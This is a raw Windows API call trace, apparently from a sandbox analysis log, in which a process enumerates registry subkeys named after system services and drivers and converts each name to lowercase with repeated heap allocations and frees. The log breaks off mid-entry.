[0224.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0224.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.456] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0224.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0224.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1850, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0224.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.456] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0224.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0224.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.456] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0224.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0224.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.456] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.457] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.457] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.457] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0224.457] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.458] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0224.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0224.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.458] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0224.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0224.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.458] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0224.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0224.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.458] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0224.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0224.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.459] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0224.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0224.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.459] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0224.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0224.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.459] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0224.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0224.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.460] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0224.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0224.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.460] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0224.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0224.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.460] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0224.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0224.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.460] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0224.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0224.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.461] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0224.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0224.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.461] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0224.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0224.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.461] 